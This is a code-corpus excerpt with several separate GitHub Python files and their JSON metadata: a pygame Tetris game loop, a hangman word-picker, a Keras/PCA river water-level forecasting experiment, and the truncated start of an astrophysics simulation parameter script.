pygame.draw.rect(surface, GRID_COLOR, (top_left_x, top_left_y, PLAY_WIDTH, PLAY_HEIGHT), 5)\n\ndef get_shape():\n '''\n Returns a random shape format from list of shapes\n '''\n return Shape(5, 0, random.choice(shapes))\n\n# Initialize pygame\npygame.init()\n\n# Main game loop\ndef main():\n global grid \n grid = create_grid()\n\n # Variable to keep the main loop running\n running = True\n current_piece = get_shape()\n clock = pygame.time.Clock()\n fall_time = 0\n\n while running:\n\n # Keep track of fall time\n fall_speed = .27\n fall_time += clock.get_rawtime()\n clock.tick()\n\n # Let the current shape fall\n if fall_time/1000 >= fall_speed:\n fall_time = 0\n current_piece.row += 1\n # Todo: check if its posible to fall one more step\n\n # Listen for user events\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n pygame.display.quit()\n quit()\n\n #Todo: Check if its posible to move the shape\n if event.type == KEYDOWN:\n if event.key == K_LEFT:\n current_piece.col -= 1\n if event.key == K_RIGHT:\n current_piece.col += 1\n if event.key == K_DOWN:\n current_piece.row += 1\n if event.key == K_UP:\n pass\n #Todo: Make shape rotate\n\n shape_pos = convert_shape_format(current_piece)\n\n # Draw out shape\n for i in range(len(shape_pos)):\n x, y = shape_pos[i]\n if y > -1:\n grid[y][x] = current_piece.color\n \n draw_screen(window)\n pygame.display.update() \n\ndef main_menu():\n main()\n\nwindow = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\npygame.display.set_caption('Tetris')\n\nmain_menu() # Start gane", "repo_name": "jonnaliesel/u06_tetris", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 6339, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pygame.draw.line", "line_number": 193, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 193, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 195, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 195, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 202, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 202, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 207, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 207, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 213, "usage_type": "call"}, {"api_name": "pygame.init", "line_number": 216, "usage_type": "call"}, {"api_name": "pygame.time.Clock", "line_number": 226, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 226, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 243, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 243, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 244, "usage_type": "attribute"}, {"api_name": "pygame.display.quit", "line_number": 246, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 246, "usage_type": "attribute"}, {"api_name": "pygame.locals.KEYDOWN", "line_number": 250, "usage_type": "name"}, {"api_name": "pygame.locals.K_LEFT", "line_number": 251, "usage_type": "name"}, {"api_name": "pygame.locals.K_RIGHT", "line_number": 253, "usage_type": "name"}, {"api_name": "pygame.locals.K_DOWN", "line_number": 255, "usage_type": "name"}, {"api_name": "pygame.locals.K_UP", "line_number": 257, "usage_type": "name"}, {"api_name": "pygame.display.update", "line_number": 270, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 270, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 275, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 275, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 276, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 276, "usage_type": "attribute"}]} {"seq_id": "29463639166", "text": "#reads the json file and chooses a word\n#also responsible for difficulty and category\nfrom colorama import *\nimport json\nimport random\nimport sys\n\ndef getWords(dif = 0, cat = 0):\n if dif is 0:\n dif = askDifficulty()\n if cat is 0:\n cat = askCategory()\n\n return openFile(dif, cat)\n\n\ndef openFile(dif, cat):\n try:\n file = \"normalWords.json\" # if difficulty equals 1\n if dif == 2:\n file = \"hardWords.json\"\n\n mode = \"cinema\" # if category equals 1\n if cat == 2:\n mode = \"literature\"\n\n with open(file + \"\") as data_file:\n jsondata = json.load(data_file)\n\n for i in jsondata[mode]:\n print(i['word'])\n # print(data)\n\n a = random.choice(jsondata[mode])\n print(\"O random é:\" + a['word'])\n return a, dif, cat\n\n except: # catch every exception\n e = sys.exc_info()[0]\n print(Fore.LIGHTRED_EX, \"Error : %s\" % e)\n print(\"Check if the json files are in the root with the proper name!\")\n\n\n\n\ndef askCategory(): # asks for category\n cat = 0\n choice = False\n while not choice:\n try:\n print(Fore.LIGHTCYAN_EX, \"Choose your category:\")\n cat = input(\"1 - Cinema\\n2 - Literature\\n-->\")\n if int(cat) == 1 or int(cat) == 2:\n choice = True\n print(\"OK!\\n\")\n else:\n print(Fore.LIGHTRED_EX, \"Invalid input!\")\n except:\n print(Fore.LIGHTRED_EX, \"Invalid input!\")\n\n return int(cat)\n\n\ndef askDifficulty(): # asks for difficulty\n dif = 0\n choice = False\n while not choice:\n try:\n print(Fore.LIGHTCYAN_EX, \"Choose your difficulty level:\")\n dif = input(\"1 - Normal\\n2 - Hard\\n-->\")\n if int(dif) == 1 or int(dif) == 2:\n choice = True\n print(\"OK!\\n\")\n else:\n print(Fore.LIGHTRED_EX, \"Invalid input!\")\n except:\n print(Fore.LIGHTRED_EX, \"Invalid input!\")\n\n return int(dif)\n\n\n", "repo_name": "JordanVScher/Hangman-Text", "sub_path": "getWords.py", "file_name": "getWords.py", "file_ext": "py", "file_size_in_byte": 2057, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.load", "line_number": 28, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 34, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 39, "usage_type": "call"}]} {"seq_id": "9959823760", "text": "from DLtools.Trial_evaluation_rec import record_list_result\nfrom DLtools.Data import instant_data,station_sel\nfrom DLtools.feature_sel import call_mar\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import MinMaxScaler,StandardScaler\nfrom sklearn.decomposition import PCA\n\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\nfrom tensorflow.keras.callbacks import EarlyStopping\nfrom tensorflow.keras.optimizers import SGD\nfrom tensorflow.keras.utils import plot_model\nnp.random.seed(42)\n############# Keras ###################\nconfig = tf.compat.v1.ConfigProto()\nconfig.gpu_options.allow_growth = True\nconfig.log_device_placement = True\n\nsess = tf.compat.v1.Session(config=config)\ntf.compat.v1.keras.backend.set_session(sess)\n\n#---------------- SETTING AREA -------------------#\nloading = instant_data()\ndf,mode = loading.hourly_instant(),'hour'\n# df,mode = loading.daily_instant(),'day'\nif mode =='hour': n_past,n_future = 24*6,72\nelif mode =='day': n_past,n_future = 60,30\nst = 'CPY012'\ntarget,start_p,stop_p,host_path=station_sel(st,mode)\nsplit_date = '2016-11-01'\n#**************** DL PARAMETER **********************#\ncallback_early_stopping = EarlyStopping(monitor='val_loss',patience=5, verbose=2)\nreduce_lr = tf.keras.callbacks.LearningRateScheduler(lambda x: 1e-5 * 0.90 ** x)\ncallbacks = [callback_early_stopping,reduce_lr]\nmy_optimizer = SGD(lr=0.01, decay=0, momentum=0.9, nesterov=True)\n\n# #---------------------- 2 Yr Edit -------------------------#\n# host_path = './CPY012/2Yr_flood/'\n# start_p = '2016-01-01'\n# split_date = '2017-05-10'\n# stop_p = '2018-01-01'\n#----------------------------------------------------\nn_pca = 4\n\nsyn=''\nYscale = True\n# allscale = True\n#-----------------------Baseline / Hybrid -----------------------------------#\nsave_path =host_path+'Baseline_PCA'\nimport os\nif not os.path.exists(save_path):\n os.makedirs(save_path)\n#----------------------------------------------------------#\n#Split XY\n\ndef move_column_inplace(df, col, pos):\n col = df.pop(col)\n df.insert(pos, col.name, col)\n return df\ndef split_series(series, n_past, n_future):\n # n_past ==> no of past observations\n # n_future ==> no of future observations \n X, y = list(), list()\n for window_start in range(len(series)):\n past_end = window_start + n_past\n future_end = past_end + n_future\n if future_end > len(series):\n break\n # slicing the past and future parts of the window\n past, future = series[window_start:past_end, :], series[past_end:future_end, :]\n X.append(past)\n y.append(future)\n return np.array(X), np.array(y)\ndef split_xy(data,n_past,n_future):\n x,y = split_series(data.values,n_past,n_future)\n x = x.reshape((x.shape[0], x.shape[1],n_features))\n y = y[:,:,0]\n return x,y\n#----------------------------------------------------------#\ndef build_lstm():\n global n_past,n_future,n_features\n input = keras.Input(shape=(n_past, int(n_features)))\n # x = layers.LSTM(200, activation='relu', input_shape=(n_past, n_features),return_sequences=False)(input)\n x = layers.CuDNNLSTM(200,input_shape=(n_past, n_features),return_sequences=False)(input)\n x = layers.Dropout(0.2)(x)\n x = layers.Dense(100, activation='relu')(x)\n x = layers.Dropout(0.2)(x)\n x = layers.Dense(n_future)(x)\n model = keras.Model(inputs=[input], outputs=x)\n model.compile(loss='mse', optimizer=my_optimizer)\n model.summary()\n plot_model(model, to_file=save_path+'model_{}.png'.format(syn), show_shapes=True)\n return model\ndef build_ende_lstm():\n global n_past,n_future,n_features\n input = keras.Input(shape=(n_past, int(n_features)))\n # x = layers.LSTM(200, activation='relu', input_shape=(n_past, n_features),return_sequences=False)(input)\n x = layers.CuDNNLSTM(200, input_shape=(n_past, n_features),return_sequences=False)(input)\n x = layers.RepeatVector(n_future)(x)\n # x = layers.LSTM(200, activation='relu',return_sequences=True)(x)\n x = layers.CuDNNLSTM(200, return_sequences=True)(x)\n x = layers.TimeDistributed(layers.Dense(100, activation='relu'))(x)\n x = layers.TimeDistributed(layers.Dense(1))(x)\n out = layers.Reshape((-1,n_future))(x)\n model = keras.Model(inputs=[input], outputs=out)\n model.compile(loss='mse', optimizer=my_optimizer)\n model.summary()\n plot_model(model, to_file=save_path+'model_{}.png'.format(syn), show_shapes=True) \n return model\ndef build_cnn1d():\n global n_past,n_future,n_features\n input = keras.Input(shape=(n_past, int(n_features)))\n x = layers.Conv1D(filters=64, kernel_size=2, activation='relu')(input)\n x = layers.MaxPooling1D(pool_size=2)(x)\n x = layers.Flatten()(x)\n x = layers.Dropout(0.3)(x)\n x = layers.Dense(100, activation='relu')(x)\n x = layers.Dropout(0.3)(x)\n x = layers.Dense(50, activation='relu')(x)\n x = layers.Dense(n_future)(x)\n model = keras.Model(inputs=[input], outputs=x)\n model.compile(optimizer='adam', loss='mse') \n model.summary()\n plot_model(model, to_file=save_path+'model_{}.png'.format(syn), show_shapes=True)\n return model\ndef run_code(model,batch_size,syn):\n global target,mode,df,X_train,y_train,X_test,y_test\n verbose, epochs = 1, 100\n history = model.fit(X_train,y_train,epochs=epochs,validation_data=(X_test,y_test),batch_size=batch_size,verbose=verbose,callbacks=callbacks)\n def history_plot(history_model,name): \n fig, ax = plt.subplots(figsize=(6.4, 4.8))\n ax.plot (history_model.history['loss'])\n ax.plot (history_model.history['val_loss'])\n ax.set_title ('model loss:{}'.format(name))\n ax.set_xlabel('epoch')\n ax.legend(['train','val'],loc='upper left')\n fig.savefig(save_path+'/loss_{}.png'.format(name), dpi=100, bbox_inches='tight') \n fig.clear()\n plt.close(fig)\n history_plot(history,syn) \n \n trainPredict = model.predict(X_train)\n testPredict = model.predict(X_test)\n # ---------- Inverse ------------------#\n if Yscale:\n y_train = scaler_tar.inverse_transform(y_train)\n trainPredict = scaler_tar.inverse_transform(trainPredict.reshape(y_train.shape))\n y_test = scaler_tar.inverse_transform(y_test)\n testPredict = scaler_tar.inverse_transform(testPredict.reshape(y_test.shape))\n record_list_result(syn,df,'03_DL_PCA',y_train,y_test,trainPredict,testPredict,target,batch_size,save_path,n_past,n_features,n_future)\n#--------------------------------\ndef build_ann():\n global n_past,n_future,n_features\n input = keras.Input(shape=(n_past, int(n_features)))\n x = layers.Flatten()(input)\n x = layers.Dense(200, activation='relu')(x)\n x = layers.Dropout(0.2)(x)\n x = layers.Dense(100, activation='relu')(x)\n x = layers.Dense(n_future)(x)\n model = keras.Model(inputs=[input], outputs=x)\n model.compile(optimizer='adam', loss='mse') \n plot_model(model, to_file=save_path+'modelANN_{}.png'.format(syn), show_shapes=True) \n model.summary()\n return model\ndef build_mod2_cnn1d():\n global n_past,n_future,n_features\n input = keras.Input(shape=(n_past, int(n_features)))\n x = layers.Conv1D(filters=64, kernel_size=2, activation='relu')(input)\n x = layers.Conv1D(filters=64, kernel_size=2, activation='relu')(x)\n x = layers.MaxPooling1D(pool_size=2)(x)\n x = layers.Conv1D(filters=64, kernel_size=2, activation='relu')(x)\n x = layers.Conv1D(filters=64, kernel_size=2, activation='relu')(x)\n x = layers.MaxPooling1D(pool_size=2)(x)\n x = layers.Flatten()(x)\n x = layers.Dropout(0.2)(x)\n x = layers.BatchNormalization()(x) # added\n x = layers.Dense(1000, activation='relu')(x)\n x = layers.Dropout(0.2)(x)\n x = layers.Dense(500)(x)\n x = layers.Dense(200)(x)\n x = layers.Dense(n_future)(x)\n x = layers.LeakyReLU()(x)\n model = keras.Model(inputs=[input], outputs=x)\n model.compile(optimizer='adam', loss='mse') \n model.summary()\n plot_model(model, to_file=save_path+'modelCNN_{}.png'.format(syn), show_shapes=True)\n return model\ndef build_lstm_v2():\n global n_past,n_future,n_features\n input = keras.Input(shape=(n_past, int(n_features)))\n # x = layers.LSTM(200, activation='relu', input_shape=(n_past, n_features),return_sequences=False)(input)\n x = layers.CuDNNLSTM(400)(input)\n x = layers.BatchNormalization()(x)\n x = layers.Dropout(0.2)(x)\n x = layers.Dense(200, activation='relu')(x)\n x = layers.Dropout(0.2)(x)\n x = layers.Dense(n_future)(x)\n model = keras.Model(inputs=[input], outputs=x)\n model.compile(loss='mse', optimizer='adam')\n model.summary()\n plot_model(model, to_file=save_path+'modelLSTM_{}.png'.format(syn), show_shapes=True)\n return model\n#------------------------- Main ---------------------------------#\ndf = df[start_p:stop_p]\ndata = df\ndata['Day'] = data.index.dayofyear #add day\ndata = data.interpolate(limit=300000000,limit_direction='both').astype('float32')#interpolate neighbor first, for rest NA fill with mean() #.apply(lambda x: x.fillna(x.mean()),axis=0)\n\n\ncutoff=.3\ndata_mar = call_mar(data,target,mode,cutoff=cutoff)\ndata_mar = move_column_inplace(data_mar,target,0)\nn_features = len(data_mar.columns)\n\n##----------- SCALE--------------##\ndef Preprocess_pca(input):\n global syn\n syn = syn+'[Xpca_scminmax]'\n pipe = Pipeline([('scaler', StandardScaler()), ('pca',PCA(n_components =n_pca)),('minmax',MinMaxScaler())])\n scaler = pipe.fit(input)\n sc_input = pipe.transform(input)\n sc_input = pd.DataFrame(sc_input, index=input.index)\n return scaler,sc_input\n# X data\n_,sc_data = Preprocess_pca(data_mar)\n# Y data\nif Yscale:\n syn = syn+'[y_sc]' \n scaler_tar = MinMaxScaler()\n scaler_tar.fit(data_mar[target].to_numpy().reshape(-1,1))\n print(data_mar[target].to_numpy().reshape(-1,1).shape)\n# if allscale:\n# syn = syn+'[X_sc]' \n# scaler = MinMaxScaler()\n# data_mar[data_mar.columns] = scaler.fit_transform(data_mar[data_mar.columns])\n# print(data_mar.columns)\n\n##----------- train test split -----------------##\nsc_train,sc_test = sc_data[:split_date],sc_data[split_date:]\ntrain,test = data_mar[:split_date],data_mar[split_date:]\n#Keep original\n_, y_train = split_xy(train,n_past,n_future)\n_, y_test = split_xy(test,n_past,n_future)\n# set all feature to PCA ( change n_feature as well )\nn_features=n_pca\nX_train, _ = split_xy(sc_train,n_past,n_future)\nX_test, _ = split_xy(sc_test,n_past,n_future)\n\n##----------- Run Experiment -----------------##\nfor batch_size in [16]:\n run_code(build_ann(),batch_size,'pca_ANN_MAR{}_b{}_Tin{}_{}'.format(cutoff,batch_size,n_past,syn))\n run_code(build_mod2_cnn1d(),batch_size,'pca_dCNN(linear)_MAR{}_b{}_Tin{}_{}'.format(cutoff,batch_size,n_past,syn))\n run_code(build_lstm_v2(),batch_size,'pca_CuDNNLSTM(big)_MAR{}_b{}_Tin{}_{}'.format(cutoff,batch_size,n_past,syn))", "repo_name": "SB91ko/ChaoprayaRiver_WaterLV_prediction", "sub_path": "03_Trial_DL_PCA.py", "file_name": "03_Trial_DL_PCA.py", "file_ext": "py", "file_size_in_byte": 10991, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.random.seed", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 19, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.ConfigProto", "line_number": 21, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 21, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.Session", "line_number": 25, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 25, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.keras.backend.set_session", "line_number": 26, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 26, "usage_type": "attribute"}, {"api_name": "DLtools.Data.instant_data", "line_number": 29, "usage_type": "call"}, {"api_name": "DLtools.Data.station_sel", "line_number": 35, "usage_type": "call"}, {"api_name": "tensorflow.keras.callbacks.EarlyStopping", "line_number": 38, "usage_type": "call"}, {"api_name": "tensorflow.keras.callbacks.LearningRateScheduler", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 39, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.optimizers.SGD", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 79, "usage_type": "call"}, {"api_name": "tensorflow.keras.Input", "line_number": 88, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 88, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.CuDNNLSTM", "line_number": 90, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 90, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dropout", "line_number": 91, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 91, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 92, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 92, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dropout", "line_number": 93, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 93, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 94, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 94, "usage_type": "name"}, {"api_name": "tensorflow.keras.Model", "line_number": 95, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 95, "usage_type": "name"}, {"api_name": "tensorflow.keras.utils.plot_model", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.keras.Input", "line_number": 102, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 102, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.CuDNNLSTM", "line_number": 104, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 104, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.RepeatVector", "line_number": 105, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 105, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.CuDNNLSTM", "line_number": 107, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 107, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.TimeDistributed", "line_number": 108, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 108, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 108, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.TimeDistributed", "line_number": 109, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 109, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 109, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Reshape", "line_number": 110, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 110, "usage_type": "name"}, {"api_name": "tensorflow.keras.Model", "line_number": 111, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 111, "usage_type": "name"}, {"api_name": "tensorflow.keras.utils.plot_model", "line_number": 114, "usage_type": "call"}, {"api_name": "tensorflow.keras.Input", "line_number": 118, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 118, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Conv1D", "line_number": 119, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 119, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.MaxPooling1D", "line_number": 120, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 120, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Flatten", "line_number": 121, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 121, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dropout", "line_number": 122, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 122, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 123, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 123, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dropout", "line_number": 124, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 124, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 125, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 125, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 126, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 126, "usage_type": "name"}, {"api_name": "tensorflow.keras.Model", "line_number": 127, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 127, "usage_type": "name"}, {"api_name": "tensorflow.keras.utils.plot_model", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "DLtools.Trial_evaluation_rec.record_list_result", "line_number": 156, "usage_type": "call"}, {"api_name": "tensorflow.keras.Input", "line_number": 160, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 160, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Flatten", "line_number": 161, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 161, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 162, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 162, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dropout", "line_number": 163, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 163, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 164, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 164, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 165, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 165, "usage_type": "name"}, {"api_name": "tensorflow.keras.Model", "line_number": 166, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 166, "usage_type": "name"}, {"api_name": "tensorflow.keras.utils.plot_model", "line_number": 168, "usage_type": "call"}, {"api_name": "tensorflow.keras.Input", "line_number": 173, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 173, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Conv1D", "line_number": 174, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 174, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Conv1D", "line_number": 175, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 175, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.MaxPooling1D", "line_number": 176, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 176, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Conv1D", "line_number": 177, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 177, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Conv1D", "line_number": 178, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 178, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.MaxPooling1D", "line_number": 179, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 179, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Flatten", "line_number": 180, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 180, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dropout", "line_number": 181, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 181, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.BatchNormalization", "line_number": 182, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 182, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 183, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 183, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dropout", "line_number": 184, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 184, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 185, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 185, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 186, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 186, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 187, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 187, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.LeakyReLU", "line_number": 188, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 188, "usage_type": "name"}, {"api_name": "tensorflow.keras.Model", "line_number": 189, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 189, "usage_type": "name"}, {"api_name": "tensorflow.keras.utils.plot_model", "line_number": 192, "usage_type": "call"}, {"api_name": "tensorflow.keras.Input", "line_number": 196, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 196, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.CuDNNLSTM", "line_number": 198, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 198, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.BatchNormalization", "line_number": 199, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 199, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dropout", "line_number": 200, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 200, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 201, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 201, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dropout", "line_number": 202, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 202, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 203, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 203, "usage_type": "name"}, {"api_name": "tensorflow.keras.Model", "line_number": 204, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 204, "usage_type": "name"}, {"api_name": "tensorflow.keras.utils.plot_model", "line_number": 207, "usage_type": "call"}, {"api_name": "DLtools.feature_sel.call_mar", "line_number": 217, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 225, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 225, "usage_type": "call"}, {"api_name": "sklearn.decomposition.PCA", "line_number": 225, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 225, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 228, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 235, "usage_type": "call"}]} {"seq_id": "43379081652", "text": "import numpy as np\nfrom astropy import units as u\nimport matplotlib.pyplot as plt\n\nfrom astropy.constants import G # gravitational constant\n\nc_s = 0.2 * u.km / u.s\nresolution = 512\nM_tot = 1.5* 2 * 387.5 * u.solMass\nL = 2 * u.pc\nmach = 5\n\n# box sizes\nx_max = L.to(u.cm) / 2\nprint(f\"xyz, max : {x_max:.7E}\")\n\n# total mass\nM_tot = M_tot.to(u.g)\nprint(f\"total_mass : {M_tot:.7E}\")\n\n# rho_ambient\nrho_0 = (M_tot/L**3).to(u.g / u.cm**3)\nprint(f\"rho_ambient : {rho_0:.7E}\")\n\n# target velocity dispersion\nsigma_v = (mach * c_s).to(u.cm / u.s)\nprint(f\"velocity displersion : {sigma_v:.7E}\")\n# turnover time\nT_turb = (L/(2*sigma_v)).to(u.s)\nprint(f\"turbulent turnover time : {T_turb:.7E}\")\n\n# sink accretion radius\nx_min = (L / resolution).to(u.cm)\nr_acc = 2.5 * x_min\nprint(f\"sink_accretion_radius : {r_acc:.7E}\")\n\n# sink density threshold\nrho_th = np.pi * c_s**2 / ( 